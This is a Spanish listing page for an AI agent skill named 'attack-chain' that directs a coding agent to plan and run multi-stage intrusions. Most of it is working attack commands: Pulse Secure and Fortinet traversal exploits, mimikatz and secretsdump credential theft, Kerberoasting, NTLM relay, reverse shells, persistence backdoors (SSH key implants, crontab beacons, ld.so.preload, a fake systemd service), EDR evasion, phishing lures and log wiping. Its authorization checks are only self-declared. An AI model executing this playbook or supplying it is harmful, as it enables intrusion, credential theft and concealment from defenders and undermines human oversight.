Communitygithub.com

attack-chain

Úsese para la planificación y orquestación autorizada de rutas de ataque multi-etapa cuando una tarea abarca reconocimiento, acceso inicial, escalada de privilegios, movimiento lateral o evaluación de impacto. Enrute las tareas de una sola etapa directamente a su habilidad especialista.

¿Qué es attack-chain?

Este skill, denominado 'attack-chain', actúa como el director general para la planificación y ejecución de rutas de ataque multi-etapa en entornos de pruebas de penetración autorizadas. A diferencia de habilidades especializadas en una sola tarea, este skill se encarga de orquestar todo el ciclo de vida de un ataque, desde el reconocimiento inicial hasta la generación del informe final. Está diseñado para plataformas como Claude Code, Cursor y Codex, y su funcionamiento se basa en una serie de pasos obligatorios: primero, verifica la autorización leyendo el precedente de pruebas de penetración; luego, crea o actualiza un caso con un alcance definido; posteriormente, planifica las fases del ataque y las distribuye a sub-skills especializados (como `pentest-tools`, `apk-reverse`, etc.). Durante la ejecución, sigue una lista de verificación de ciclo de vida y actualiza el progreso en archivos de seguimiento. Finalmente, al concluir, genera un informe que incluye la cadena de evidencia. Es crucial para tareas que requieren una cadena de ataque completa, como pruebas de penetración integrales, evaluaciones de superficie de ataque o simulaciones de HW, y no debe usarse para tareas de una sola etapa, como un simple escaneo de puertos.

Compatible con✓Claude Code~Codex CLI~Cursor
npx skills add https://github.com/zhaoxuya520/reverse-skill/tree/main/skills/attack-chain

Preguntar en tu IA favorita

Abre un nuevo chat con esta habilidad de agente ya precargada.

Documentación

Habilidad de Orquestación de Cadenas de Ataque

ACCIÓN REQUERIDA (leer e implementar inmediatamente)

  1. AHORA: Lea ../field-journal/precedent-pentest.md — Confirme que la operación de este skill es una operación rutinaria autorizada.
  2. AHORA: Cree/actualice el caso (../scripts/case-init.ps1) y complete scope.md (../ops/scope-contract.md); auth.status!=granted prohíbe ACT.
  3. AHORA: Como líder, planifique las fases (../ops/role-map.md) y escriba specialist_roles.
  4. SIGUIENTE: Lea ../tool-index.md, verifique la disponibilidad de las herramientas y sus rutas reales.
  5. SIGUIENTE: Si faltan herramientas, invoque bootstrap; no adivine rutas.
  6. ACT: Siga references/lifecycle-checklist.md para pasar los puntos de control de fase; actualice timeline.md + workitems.md (../ops/timeline-workitem.md) en cada fase; promueva a Evidencia/Hallazgo.
  7. Final: El informe de docs-generator DEBE contener la cadena de evidencia.

Director general para la planificación y ejecución de rutas de ataque multi-etapa. Cuando una tarea requiere una cadena completa "del punto A al punto B", este skill se encarga de orquestar las fases, coordinar sub-skills y planificar la ruta de ataque. No es "exclusivo de equipo rojo" — cualquier escenario de penetración que requiera combinar fases comienza aquí.


Cuándo enrutar a este skill

Los siguientes escenarios deben pasar primero por este skill para una planificación de cadena completa, antes de distribuirse a sub-skills específicos para su ejecución:

EscenarioPor qué necesita orquestación
"Haz una prueba de penetración completa"Requiere planificar el flujo completo desde la recolección de información hasta el informe.
"Desde la red externa hasta el controlador de dominio"Atraviesa múltiples fases: ruptura de perímetro → escalada de privilegios → movimiento lateral → AD.
"Ejercicio de defensa/ataque (HW)"Requiere una cadena de ataque completa + sigilo + limpieza de huellas.
"Evalúa la superficie de ataque de este objetivo"Requiere recolección de información multidimensional + planificación de rutas.
"Obtuve una webshell, ¿qué hago ahora?"Requiere planificar la ruta subsiguiente desde la posición actual.
"Ayúdame a planificar una ruta de ataque"Claramente necesita orquestación de rutas.
"¿Hasta dónde se puede llegar desde esta vulnerabilidad?"Requiere evaluar el valor de explotación en cadena de la vulnerabilidad.
"Monitoreo continuo de Bug Bounty"Requiere un proceso automatizado multi-etapa.
"Flujo completo de penetración en red interna"Movimiento lateral + escalada de privilegios + ataque a dominio combinados.
"Esquema de penetración de acceso físico"Acceso físico + penetración en red interna combinados.
"Ruta de ataque a la cadena de suministro"Ataque multi-salto entre organizaciones.
"Phishing + post-explotación"Acceso inicial + explotación posterior combinados.

Las tareas de una sola etapa no necesitan pasar por este skill:

  • Solo escaneo de puertos → vaya directamente a pentest-tools/
  • Solo inyección SQL → vaya directamente a pentest-tools/
  • Solo reversa de APK → vaya directamente a apk-reverse/
  • Solo penetración de dominio → vaya directamente a windows-ad/SKILL.md

Principios de orquestación

Rol de este skill

El usuario presenta una tarea multi-etapa
    ↓
attack-chain/SKILL.md (este archivo)
    ↓ Planifica la ruta de ataque, determina el orden de las fases
    ↓ Evalúa las herramientas y métodos necesarios para cada fase
    ↓
Distribuye a sub-skills específicos para su ejecución:
    ├── pentest-tools/     → Invocación de herramientas, explotación de vulnerabilidades
    ├── apk-reverse/       → Penetración móvil
    ├── js-reverse/        → Ruptura de front-end web
    ├── reverse-engineering/ → Análisis binario
    ├── ida-reverse/       → Reversa profunda
    └── browser-automation/ → Automatización de operaciones
    ↓
Después de cada fase, regresa a este skill para evaluar el siguiente paso
    ↓
Todo completado → docs-generator genera el informe

Árbol de decisión para la planificación de rutas

Al obtener el objetivo:
1. ¿Qué es el objetivo? (Web/Red interna/Nube/Móvil/IoT)
2. ¿Qué tenemos actualmente? (Perspectiva externa/Credenciales existentes/Punto de apoyo existente)
3. ¿Cuál es el objetivo final? (Controlador de dominio/Datos/Sistema específico/Demostrar impacto)
4. ¿Restricciones? (Tiempo/Sigilo/Sistemas intocables)
    ↓
Con base en la información anterior, planifica la ruta más corta
    ↓
Si una ruta no funciona → Regresa a este skill para replanificar una ruta alternativa

Fases de la cadena de ataque completa


I. Fase de recolección de información (Reconnaissance)

1.1 Mapeo de activos digitales empresariales

# Descubrimiento de dominios de subsidiarias
subfinder -d target.com -o subdomains.txt
amass enum -d target.com -passive -o amass_results.txt

# Combinar y deduplicar
cat subdomains.txt amass_results.txt | sort -u > all_subs.txt

# Sondear hosts activos
httpx -l all_subs.txt -status-code -title -tech-detect -o alive.txt

# Escaneo de puertos (todos los puertos)
naabu -l all_subs.txt -top-ports 1000 -o ports.txt
nmap -sV -sC -iL targets.txt -oA nmap_results

Puntos clave prácticos:

  • Utilice Qichacha/Tianyancha para obtener listas de subsidiarias y ampliar la superficie de ataque.
  • Preste atención a los entornos de prueba (test., dev., staging.) y sistemas recién lanzados.
  • Los registros de transparencia de certificados (crt.sh) revelan dominios ocultos.

1.2 Caza de fugas de información sensible

# Búsqueda en GitHub
# org:Company filename:.env password
# org:Company filename:config.yml secret
# org:Company "jdbc:mysql" password

# Google Dork
# site:target.com filetype:sql
# site:target.com inurl:admin
# site:target.com ext:conf|cfg|ini

# API Keys en archivos JS
cat js_urls.txt | while read url; do
  curl -s "$url" | grep -oP '(api[_-]?key|secret|token|password)\s*[:=]\s*["\047][^"\047]+'
done

Objetivos de alto valor:

  • AK/SK de servicios en la nube (Alibaba Cloud, AWS, Azure)
  • Cadenas de conexión de bases de datos
  • Claves JWT
  • Documentación de API interna
  • Credenciales de VPN/balanceador de acceso

1.3 Perfil de información del empleado

Reglas para generar diccionarios de ingeniería social:

{pinyin del nombre}{año}       → zhangsan2024
{iniciales del nombre}{abreviatura del departamento}  → zs_dev
{ID de empleado}@{dominio}    → [email protected]
{nombre}{sufijo común}        → zhangsan@123, zhangsan!@#

Fuentes de información:

  • Estructura departamental en Maimai/LinkedIn
  • Presentaciones del equipo en cuentas oficiales de la empresa/sitio web
  • Información de reclutamiento (exposición de la pila tecnológica)
  • Artículos académicos (exposición de correos electrónicos)

1.4 Identificación de la huella digital tecnológica

# Huella digital web
whatweb -i alive.txt --log-json=fingerprint.json
httpx -l alive.txt -tech-detect -json -o tech.json

# Detección de frameworks específicos
nuclei -l alive.txt -tags tech -severity info -o tech_results.txt

# Identificación de CMS
wpscan --url https://target.com --enumerate p,t,u

II. Fase de ruptura del perímetro (Initial Access)

2.1 Explotación de vulnerabilidades web (puntos de ruptura de alta frecuencia)

Tipo de vulnerabilidadHerramienta de detecciónMétodo de explotación
Inyección SQLsqlmapExtracción de datos → Escritura de shell → Comandos del SO
SSTIsstimapInyección de plantilla → RCE
Subida de archivosManual + BurpWebshell → Shell reverso
Deserializaciónysoserial/marshalsecJava/PHP/Python RCE
SSRFManualSondear red interna → Metadatos en la nube → AK/SK
Acceso no autorizadonucleiSpring Actuator / Nacos / Redis
XSS → CookiexsstrikeSecuestro de sesión de administrador
# Automatización de inyección SQL
sqlmap -u "https://target.com/api?id=1" --batch --dbs --random-agent

# Detección de SSTI
sstimap -u "https://target.com/search?q=test"

# Escaneo masivo con Nuclei
nuclei -l alive.txt -severity critical,high -tags cve,sqli,rce -o vulns.txt

2.2 Ataques a la cadena de suministro

Rutas de ataque:

  1. Identificar los componentes/servicios de terceros utilizados por el objetivo.
  2. Atacar al proveedor para obtener permisos de firma de código/actualización.
  3. Entregar cargas maliciosas a través de canales de actualización legítimos.

Puntos de entrada comunes:

  • Envenenamiento de componentes de código abierto (npm/pip/maven)
  • Abuso de API de proveedores SaaS
  • Explotación de permisos de personal externo
  • Penetración lateral a través de proveedores de TI compartidos

2.3 Ataques de phishing

Phishing por correo electrónico:

Plantillas de asunto:
- [Urgente] El certificado VPN está a punto de expirar, actualice inmediatamente
- [Aviso de TI] Espacio de almacenamiento de buzón insuficiente, por favor limpie
- [RRHH] Resultados de la evaluación de desempeño 2024
- [Finanzas] Actualización del sistema de reembolsos, vuelva a iniciar sesión para confirmar

Tipos de carga:

  • Documentos con macros de Office (.docm/.xlsm)
  • Accesos directos LNK (disfrazados de PDF)
  • Contrabando de HTML (HTML Smuggling)
  • Imágenes ISO/IMG (para eludir MOTW)
  • Scripts incrustados en OneNote

Phishing OAuth (Nueva tendencia 2025):

  • Construir aplicaciones OAuth maliciosas que soliciten permisos.
  • Después de la autorización del usuario, obtener acceso al correo electrónico/archivos.
  • Sin necesidad de contraseña, eludiendo MFA.

2.4 Penetración de acceso físico (Physical Access)

TécnicaHerramientaEfecto
BadUSBRubber Ducky / WiFi DuckyInyección de teclado → Shell reverso
Cable de carga maliciosoO.MG CableCable de datos disfrazado para植入 puerta trasera
Phishing WiFiFluxion / WiFi PineapplePunto de acceso falso → Captura de credenciales
Clonación RFIDProxmark3Copia de tarjeta de acceso → Entrada física
Implante de redRaspberry Pi / LAN TurtlePunto de acceso persistente en red interna
# Phishing WiFi con Fluxion
fluxion  # Seleccionar AP objetivo de forma interactiva → Crear punto de acceso falso → Capturar contraseña WPA

# BadUSB en conjunto con Cobalt Strike
# Inyectar descargador de PowerShell a través de USB → Conectar a C2

2.5 Ruptura de acceso remoto/VPN

# Pulse Secure VPN (CVE-2019-11510)
curl -k "https://vpn.target.com/dana-na/../dana/html5acc/guacamole/../../../etc/passwd?/dana/html5acc/guacamole/"

# Fortinet VPN (CVE-2018-13379)
curl -k "https://vpn.target.com/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession"

# General: Password Spraying
hydra -L users.txt -P passwords.txt vpn.target.com https-form-post

2.6 Ruptura de servicios en la nube

# Enumeración de buckets S3 de AWS
aws s3 ls s3://target-bucket --no-sign-request

# SSRF a metadatos en la nube
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Password Spraying en Azure AD
# Usar herramientas MSOLSpray / Spray

III. Fase de escalada de privilegios (Privilege Escalation)

3.1 Escalada de privilegios en Windows

TécnicaCondiciónHerramienta
Serie PotatoPrivilegio SeImpersonateSweetPotato / GodPotato / PrintSpoofer
Vulnerabilidades del kernelSin parchedetección con watson / wesng
Secuestro de ruta de servicioRuta de servicio sin comillasPowerUp
Secuestro de DLLRuta de búsqueda de DLL escribibleProcess Monitor
AlwaysInstallElevatedConfiguración del registroInstalar MSI malicioso con msiexec
Tarea programadaScript de tarea escribibleReemplazar con schtasks
# Detectar SeImpersonate
whoami /priv | findstr "SeImpersonate"

# Escalada con Potato
.\GodPotato.exe -cmd "cmd /c whoami"

# Detección automatizada
.\winPEAS.exe

3.2 Escalada de privilegios en Linux

# Detección de SUID
find / -perm -4000 -type f 2>/dev/null

# Abuso de sudo
sudo -l
# Comúnmente explotable: vim, find, python, nmap, less, awk, perl

# Escalada con sudo vim
sudo vim -c ':!/bin/bash'

# Escalada con sudo find
sudo find / -exec /bin/bash \;

# Vulnerabilidades del kernel
uname -r  # Verificar versión
# DirtyPipe (CVE-2022-0847), DirtyCow (CVE-2016-5195)

# Detección automatizada
./linpeas.sh

3.3 Escalada de privilegios en bases de datos

-- MSSQL xp_cmdshell
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC xp_cmdshell 'whoami';

-- Escalada con UDF en MySQL
CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'lib_mysqludf_sys.so';
SELECT sys_exec('id');

-- PostgreSQL
COPY (SELECT '') TO PROGRAM 'id';

3.4 Escalada de privilegios en la nube

# Enumeración de IAM en AWS
aws iam list-attached-user-policies --user-name compromised-user
# Buscar iam:PassRole + lambda:CreateFunction → Permisos de administrador

# Azure AD
# Administrador global → Control de todas las suscripciones
# Administrador de aplicaciones → Agregar credenciales a entidades de servicio

IV. Fase de movimiento lateral (Lateral Movement)

4.1 Obtención de credenciales

# Mimikatz (Windows)
mimikatz# sekurlsa::logonpasswords
mimikatz# lsadump::dcsync /domain:target.local /user:krbtgt

# Credenciales en Linux
cat /etc/shadow
cat ~/.bash_history | grep -i pass
find / -name "*.conf" -exec grep -l "password" {} \;

# Extracción de Hash NTLM
secretsdump.py domain/user:password@dc_ip

4.2 Pass-the-Hash / Pass-the-Ticket

# PTH lateral
crackmapexec smb 10.0.0.0/24 -u administrator -H <NTLM_HASH> --exec-method smbexec

# Kerberoasting
GetUserSPNs.py -request -dc-ip 10.0.0.1 domain/user:password

# AS-REP Roasting
GetNPUsers.py domain/ -usersfile users.txt -no-pass -dc-ip 10.0.0.1

# Golden Ticket
mimikatz# kerberos::golden /user:Administrator /domain:target.local /sid:S-1-5-21-... /krbtgt:<HASH> /ptt

4.3 Técnicas de movimiento lateral sigilosas

# Ejecución sin archivos con WMI
wmiexec.py domain/admin:password@target_ip "whoami"

# Ejecución remota con DCOM
dcomexec.py domain/admin:password@target_ip "whoami"

# WinRM
evil-winrm -i target_ip -u admin -H <NTLM_HASH>

# PsExec (deja rastro)
psexec.py domain/admin:password@target_ip

# Túnel SSH (entorno Linux)
ssh -D 1080 user@pivot_host  # Proxy SOCKS
ssh -L 3389:internal_host:3389 user@pivot_host  # Reenvío de puertos

4.4 NTLM Relay

# Desactivar SMB/HTTP de Responder
# Editar Responder.conf: SMB = Off, HTTP = Off

# Iniciar Responder para capturar
responder -I eth0

# NTLM Relay al objetivo
ntlmrelayx.py -tf targets.txt -smb2support

# Coercer para forzar autenticación
coercer coerce -u user -p password -d domain -l attacker_ip -t dc_ip

4.5 Rutas de ataque en AD

# Recolección de datos con BloodHound
bloodhound-python -d domain.local -u user -p password -c All -ns dc_ip

# Rutas de ataque comunes:
# 1. Usuario → GenericAll → Usuario objetivo → Restablecer contraseña
# 2. Usuario → WriteDacl → OU objetivo → Agregar permisos
# 3. Equipo → Delegación restringida → Suplantar cualquier usuario
# 4. Usuario → Permiso DCSync → Exportar todos los hashes

# Ataque a AD CS con Certipy
certipy find -u user@domain -p password -dc-ip dc_ip
certipy req -u user@domain -p password -ca CA-NAME -template VulnTemplate

V. Fase de persistencia (Persistence)

5.1 Persistencia en Windows

TécnicaSigiloDificultad de detección
Tarea programadaMedioBajo
Clave Run del registroBajoBajo
Suscripción a eventos WMIAltoAlto
Secuestro de DLLAltoMedio
Cuenta oculta (Shadow Account)MedioMedio
Golden TicketMuy altoMuy alto
Puerta trasera DSRMMuy altoMuy alto
# Suscripción a eventos WMI (alto sigilo)
$Filter = Set-WmiInstance -Class __EventFilter -Arguments @{
    Name = "CoreFilter"
    EventNameSpace = "root\cimv2"
    QueryLanguage = "WQL"
    Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
}

# Cuenta oculta
net user support$ P@ssw0rd /add /active:yes
net localgroup administrators support$ /add
# Modificar el valor F del registro para clonar RID

5.2 Persistencia en Linux

# Implantación de clave SSH
echo "ssh-rsa AAAA..." >> /root/.ssh/authorized_keys

# Puerta trasera con Crontab
(crontab -l; echo "*/5 * * * * /tmp/.hidden/beacon") | crontab -

# Secuestro con LD_PRELOAD
echo "/tmp/.hidden/evil.so" > /etc/ld.so.preload

# Puerta trasera en PAM
# Modificar pam_unix.so para agregar una contraseña maestra

# Servicio Systemd
cat > /etc/systemd/system/update.service << 'EOF'
[Unit]
Description=Servicio de actualización del sistema
[Service]
ExecStart=/tmp/.hidden/beacon
Restart=always
[Install]
WantedBy=multi-user.target
EOF
systemctl enable update.service

5.3 Persistencia en entornos en la nube

# Puerta trasera con Lambda en AWS
# Crear función Lambda activada por tiempo que se conecte a C2

# Registro de aplicación en Azure AD
# Crear aplicación → Agregar credenciales de clave → Otorgar permisos de Graph API

# Puerta trasera en contenedores
# Modificar imagen base → Todos los nuevos contenedores tienen puerta trasera

VI. Evasión de EDR/AV (Evasion)

6.1 Ideas centrales de evasión

CapaTécnicaDescripción
Detección estáticaCifrado/Ofuscación/Cargador personalizadoEvitar coincidencia de firmas
Detección de comportamientoLlamadas al sistema indirectas/UnhookingEvitar API Hook
Detección de memoriaPisoteo de módulos/Cifrado de montónEvitar escaneo de memoria
Detección de redDomain Fronting/Túnel a través de servicios legítimosMezclarse con tráfico normal
Detección de registrosParcheo de ETW/Limpieza de registrosReducir huellas

6.2 Técnicas de evasión prácticas

1. Cargador de Shellcode personalizado (no use herramientas públicas)
2. Llamadas directas al sistema (eludir hook de ntdll)
3. Inyección de procesos eligiendo procesos con baja supervisión (ej. RuntimeBroker.exe)
4. Tráfico C2 a través de HTTPS + Domain Fronting / Cloudflare Workers
5. Ejecución en memoria, sin escribir en disco (Fileless)
6. Utilizar programas con firma legítima para cargar (LOLBins)

6.3 Selección de frameworks C2

FrameworkCaracterísticasEscenario de uso
Cobalt StrikeMaduro, estable, trabajo en equipoGrandes operaciones de equipo rojo
SliverCódigo abierto, escrito en GoPresupuesto limitado
HavocModerno, modularSe necesita personalización
MythicSoporte multi-agenteMultiplataforma
AdaptixC2Incluido en Kali 2026.1Despliegue rápido

VII. Limpieza de huellas (Anti-Forensics)

# Limpieza de registros en Windows
wevtutil cl Security
wevtutil cl System
wevtutil cl Application

# Limpieza de registros en Linux
echo > /var/log/auth.log
echo > /var/log/syslog
history -c && history -w

# Modificación de marcas de tiempo
touch -t 202301010000 /path/to/file

# Limpieza de memoria
# Asegurarse de que el volcado de Mimikatz se haya eliminado
# Asegurarse de que el beacon de C2 haya salido
# Asegurarse de que los archivos temporales se hayan eliminado

Reglas de hierro para operaciones de equipo rojo

Tres líneas base

  1. Todas las operaciones deben tener autorización por escrito
  2. Los datos exfiltrados deben ser anonimizados
  3. Limpiar todas las huellas del ataque (incluyendo la residencia en memoria)

Disciplina operativa

  • Evaluar el nivel de riesgo antes de cada operación (Bajo/Medio/Alto/Crítico)
  • Notificar al gerente del proyecto antes de operaciones de alto riesgo
  • Mantener un registro de operaciones (hora, acción, resultado)
  • Informar inmediatamente sobre vulnerabilidades de alto riesgo, no ampliar la explotación
  • No afectar la disponibilidad del negocio (prohibir DoS)
  • No acceder/descargar datos reales de usuarios

Casos típicos de fallo

Causa del falloConsecuenciaLección
No se eliminó el volcado de memoria de MimikatzEl equipo azul rastreó la ruta de ataque completaLimpiar inmediatamente después de la operación
Dominio C2 marcado por inteligencia de amenazasBloqueado en el primer intento de conexiónUsar dominio recién registrado + Domain Fronting
El correo de phishing activó una alerta DLPEl equipo azul recibió una advertencia tempranaProbar las reglas de la puerta de enlace de correo
El movimiento lateral activó un honeypotSe expuso la intención del ataqueIdentificar honeypots antes de actuar

Tabla de referencia rápida de herramientas

Recolección de información

subfinder amass httpx naabu katana gau dnsx nmap whatweb wpscan

Explotación de vulnerabilidades

nuclei sqlmap sstimap xsstrike burpsuite metasploit

Escalada de privilegios

winPEAS linpeas GodPotato PrintSpoofer watson

Movimiento lateral

mimikatz crackmapexec/netexec impacket bloodhound certipy coercer responder evil-winrm

Frameworks C2

cobalt-strike sliver havoc mythic adaptixc2

Penetración de acceso físico

fluxion aircrack-ng proxmark3 rubber-ducky wifi-pineapple


Relación con otros skills del paquete

NecesidadEnrutar a
Explotación profunda de vulnerabilidades webpentest-tools/SKILL.md
Pasos detallados de ataque a AD en red internawindows-ad/SKILL.md
Análisis inverso de muestras maliciosasreverse-engineering/SKILL.md
Reversa de APK (penetración móvil)apk-reverse/SKILL.md
Omisión de firma en front-end JSjs-reverse/SKILL.md
Penetración grupal automatizadaPentest Swarm AI (pentestswarm scan --swarm)
Penetración asistida por IAmcp-kali-server / metasploitmcp / hexstrike-ai
Generación de informesdocs-generator/SKILL.md
Diagrama de ruta de ataquediagram-generator/SKILL.md

Autocomprobación de finalización de tarea (DEBE pasar antes de declarar finalizado)

  • ¿Ejecuté cada paso del flujo de trabajo (en lugar de solo leerlo)?
  • ¿Utilicé las rutas de herramientas reales basadas en tool-index?
  • ¿Produje evidencia reproducible (comandos/scripts/capturas de pantalla/informes)?
  • ¿Completé y actualicé los elementos de la lista de verificación requeridos por las REGLAS?

Individual skills in this repo

This repo contains 20 individual skills — each has its own dedicated page.

api-security

Use for authorized security assessment of REST, GraphQL, WebSocket, or SOAP APIs, including discovery, authentication, authorization, rate-limit, and CI/CD testing.

apk-reverse

在 CLI 环境下做 Android APK 逆向时使用。适用于 APK 解包、Java 反编译、smali 修改、重打包、Frida 动态 Hook,以及按需切换到 so/native 分析。优先使用本机已安装的 jadx、apktool、frida、adb、ida-reverse、radare2。

binary-diff

|

binary-ninja-reverse

Use for authorized binary analysis in Binary Ninja, including HLIL/MLIL/LLIL inspection, strings/imports/exports, cross-references, types, patch review, Python API automation, and optional Binary Ninja MCP or localhost HTTP integration.

browser-automation

|

browser-extension-reverse

Use for authorized reverse engineering of browser extensions (Chrome/Firefox) including manifest analysis, background workers, and extension-based credential or traffic logic recovery.

case-review

Reviews a reverse-skill case package for scope readiness, Evidence to Finding to Path traceability, work item coverage, timeline references, and optional artifact hash integrity before report handoff.

cloud-k8s

Use for authorized cloud, container, and Kubernetes security assessment including metadata SSRF, IAM misconfig, container escape paths, and cluster RBAC review.

code-audit

Use for authorized source-code security review and SAST workflows including Semgrep, CodeQL patterns, dangerous API hunting, and fix verification.

ctf-sandbox

Thin PRIMARY for CTF / AWD / 靶场 multi-type orchestration. Hands off to the sidecar CTF-Sandbox-Orchestrator. Use when the user says CTF, AWD, 靶场, or 比赛题 and no more specific pwn/APK/IDA route already won.

database-security

Use for authorized database security assessment covering PostgreSQL/MySQL/MSSQL/Mongo/Redis exposure, authz, UDF/command paths, and misconfiguration review.

diagram-generator

generate, refine, validate, and render diagrams from natural language, notes, code snippets, schemas, tables, or existing diagram source. use for flowcharts, swimlanes, sequence diagrams, state diagrams, er diagrams, class diagrams, architecture/c4-style diagrams, dependency graphs, gantt charts, mind maps, user journeys, sankey-style flows, org charts, network graphs, and other visual models. supports mermaid by default, graphviz dot for complex graph layout, plantuml for uml-heavy engineering diagrams, and svg output when direct markup is more reliable.

digital-forensics

Use for authorized digital forensics including memory dumps, disk timelines, PCAP investigation, artifact triage, and IR evidence preservation.

docs-generator

|

dotnet-reverse

.NET / C# 二进制逆向。当目标是 .NET assembly(PE 头含 CLR、.exe/.dll 托管程序)、C# 编译产物(含 NativeAOT)、红队 Sharp* 工具(Rubeus / SharpHound / SharpHound 等)、.NET 混淆程序(ConfuserEx / SmartAssembly / Babel / Eazfuscator)、.NET loader / info-stealer / 套壳 malware 时使用。优先用 dnSpyEx + de4dot,需要 AI 直接操作时联动 dnSpy MCP。不用于纯 native 二进制(走 reverse-engineering / ida-reverse)。

edr-bypass-re

|

email-security

Use for authorized email security review including phishing analysis, header authentication (SPF/DKIM/DMARC), BEC patterns, and mailbox token abuse research.

firmware-pentest

|

ghidra-reverse

Use for free/open reverse engineering with Ghidra (headless or GUI), including decompile, cross-refs, and optional Ghidra MCP workflows when IDA is unavailable.

go-rust-reverse

Use for reverse engineering stripped Go and Rust binaries including runtime recognition, pclntab/moduel data recovery, panic strings, and idiomatic decompilation recovery.

Skills relacionados